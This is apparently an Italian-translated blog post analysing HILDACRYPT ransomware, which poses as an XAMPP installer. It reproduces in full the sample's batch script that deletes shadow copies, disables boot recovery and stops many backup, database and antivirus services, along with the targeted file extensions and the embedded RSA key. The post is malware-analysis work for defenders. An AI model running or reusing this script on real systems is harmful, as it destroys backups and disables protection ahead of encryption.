{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: un nuovo ransomware colpisce i sistemi di backup e le soluzioni antivirus","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Ciao, Habr! Ecco di nuovo noi a raccontarvi le ultime versioni di malware nella categoria Ransomware. HILDACRYPT \u00e8 un nuovo ransomware, rappresentante della famiglia Hilda scoperta nell'agosto 2019, chiamata cos\u00ec in onore del cartone animato del servizio di streaming Netflix utilizzato per diffondere il malware. Oggi conosciamo le caratteristiche tecniche di questo virus ransomware aggiornato.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nNella prima versione dei ransomware Hilda, il link al trailer del cartone animato era contenuto nella lettera di riscatto. HILDACRYPT, invece, si maschera da legittimo installatore di XAMPP, una distribuzione Apache facile da installare che include MariaDB, PHP e Perl. Inoltre, il file del ransomware ha un nome diverso: xamp. Inoltre, il file del programma ransomware non ha una firma digitale.<\/a><\/noindex> Il ransomware \u00e8 contenuto in un file PE32 .NET, scritto per MS Windows. La sua dimensione \u00e8 di 135 168 byte. Sia il codice sorgente principale che il codice del programma difensore sono scritti in C#. Secondo il timestamp di compilazione, il file binario \u00e8 stato creato il 14 settembre 2019.<\/p>\n

Analisi statica<\/h3>\n

\nSecondo Detect It Easy, il virus ransomware \u00e8 stato compresso utilizzando Confuser e ConfuserEx, ma questi offuscatori sono uguali a prima, solo che ConfuserEx \u00e8 il successore di Confuser, quindi le firme dei loro codici sono simili.<\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT \u00e8 effettivamente impacchettato con ConfuserEx. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a <\/p>\n

\"HILDACRYPT:
\n
\nProbabilmente, il ransomware \u00e8 stato scovato su uno dei siti dedicati alla programmazione web, mascherandosi da legittimo programma XAMPP.<\/p>\n

Vettore di attacco<\/h3>\n

\nL'intera catena di infezione pu\u00f2 essere vista in<\/p>\n

app.any.run sandbox Offuscamento<\/a><\/noindex>.<\/p>\n

Le stringhe del ransomware sono memorizzate in forma crittografata. Quando HILDACRYPT viene avviato, le decrittografa utilizzando Base64 e AES-256-CBC. <\/h3>\n

\nInnanzitutto, il ransomware crea nella cartella %AppDataRoaming% una cartella il cui parametro GUID (Globally Unique Identifier) \u00e8 generato casualmente. Aggiungendo un file bat a questa posizione, il ransomware lo esegue tramite cmd.exe:<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Installazione<\/h3>\n

\ncmd.exe \/c JKfgkgj3hjgfhjka.bat & exit<\/p>\n

Poi inizia a eseguire lo script batch per disabilitare funzioni o servizi di sistema.
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nLo script contiene un lungo elenco di comandi che distruggono le copie shadow, disabilitano il server SQL, il backup e le soluzioni antivirus.<\/p>\n

\"HILDACRYPT:
\n
\nLo script contiene un lungo elenco di comandi, tramite i quali vengono eliminate le copie shadow, disattivato il server SQL, eseguiti backup e soluzioni antivirus.<\/p>\n

Ad esempio, sta cercando senza successo di fermare i servizi di backup Acronis Backup. Inoltre, attacca i sistemi di backup e le soluzioni antivirus dei seguenti fornitori: Veeam, Sophos, Kaspersky, McAfee e altri.<\/p>\n

@echo off\n:: Non sono veramente un fan dei pony, le ragazze dei cartoni animati sono migliori, non pensi?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \"Servizio di Controllo Dispositivi Sophos\" \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \"Servizio Zoolz 2\" \/y\nnet stop McTaskManager \/y\nnet stop \"Servizio Aggiornamento Automatico Sophos\" \/y\nnet stop \"Servizio di Protezione del Sistema Sophos\" \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \"Ripristino di Sistema Symantec\" \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \"Servizio di Salute Sophos\" \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \"Router Messaggi Sophos\" \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \"Servizio di Pulizia Sophos\" \/y\nnet stop swi_update_64 \/y\nnet stop \"Servizio di Controllo Web Sophos\" \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \"Servizio Catalogo Backup Veeam\" \/\nnet stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \"Client MCS Sophos\" \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \"Servizio di Backup SQLsafe\" \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \"Servizio Safestore Sophos\" \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \"Servizio Scanner di File Sophos\" \/y\nnet stop \"Agente Sophos\" \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \"Servizio Clienti Enterprise\" \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \"Backup SQL\" \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \"Agente MCS Sophos\" \/y\nnet stop RESvc \/y\nnet stop \"Fornitore VSS Acronis\" \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \"Servizio Filtro SQLsafe\" \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nDopo che i servizi e i processi menzionati sopra sono stati disattivati, il cryptolocker raccoglie informazioni su tutti i processi in esecuzione usando il comando tasklist, per assicurarsi che tutti i servizi necessari siano non operativi. 
\ntasklist v \/fo csv<\/i><\/p>\n
Questo comando produce un elenco dettagliato dei processi in esecuzione, i cui elementi sono separati dal carattere \u00ab,\u00bb. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservizi\u00bb,\u00ab0\u00bb,\u00ab1.896 ms\u00bb,\u00absconosciuto\u00bb,\u00ab0:00:03\u00bb,\u00ab\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nDopo questa verifica, il ransomware avvia il processo di crittografia. <\/p>\n
Crittografia 
\n<\/h3>\n
Crittografia dei file<\/h4>\n
\nHILDACRYPT scandaglia tutto il contenuto trovato sui dischi rigidi, tranne le cartelle Recycle.Bin e Reference AssembliesMicrosoft. Quest'ultima contiene file dll, pdb e altri critici per le applicazioni .Net, che possono influenzare il funzionamento del ransomware. Per cercare i file che verranno crittografati, viene utilizzato il seguente elenco di estensioni:<\/p>\n
«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»
\n<\/i>
\nPer crittografare i file dell'utente, il ransomware utilizza l'algoritmo AES-256-CBC. La dimensione della chiave \u00e8 di 256 bit e la dimensione del vettore di inizializzazione (IV) \u00e8 di 16 byte. <\/p>\n
\"HILDACRYPT:
\n
\nNello screenshot successivo, i valori byte_2 e byte_1 sono stati ottenuti casualmente utilizzando GetBytes(). <\/p>\n
\"HILDACRYPT:
\n
\nChiave<\/p>\n
\"HILDACRYPT:
\n
\n\u0412\u0418<\/p>\n
\"HILDACRYPT:
\n
\nIl file crittografato ha l'estensione HCY!.. Questo \u00e8 un esempio di file crittografato. Per questo file sono stati creati la chiave e l'IV menzionati sopra. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Crittografia delle chiavi<\/h4>\n
\nIl cryptolocker salva la chiave AES generata nel file crittografato. La prima parte del file crittografato ha un'intestazione che contiene dati come HILDACRYPT, KEY, IV, FileLen in formato XML e appare come segue:<\/p>\n
\"HILDACRYPT:
\n
\nLa crittografia della chiave AES e dell'IV avviene tramite RSA-2048, mentre la codifica \u00e8 effettuata con Base64. La chiave pubblica RSA \u00e8 memorizzata nel corpo del cryptolocker in una delle stringhe crittografate in formato XML.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Per crittografare la chiave del file AES viene utilizzata la chiave pubblica RSA. La chiave pubblica RSA \u00e8 codificata con Base64 e consiste in un modulo e in un'esponente pubblica di 65537. Per la decifratura \u00e8 necessaria la chiave RSA privata, che \u00e8 in possesso dell'attaccante.<\/p>\n
Dopo la crittografia RSA, la chiave AES \u00e8 codificata usando Base64, salvata nel file crittografato.<\/p>\n
Messaggio di riscatto<\/h3>\n
\nAl termine della crittografia, HILDACRYPT scrive un file html nella cartella in cui ha crittografato i file. La notifica del ransomware contiene due indirizzi e-mail attraverso i quali la vittima pu\u00f2 contattare l'attaccante.<\/p>\n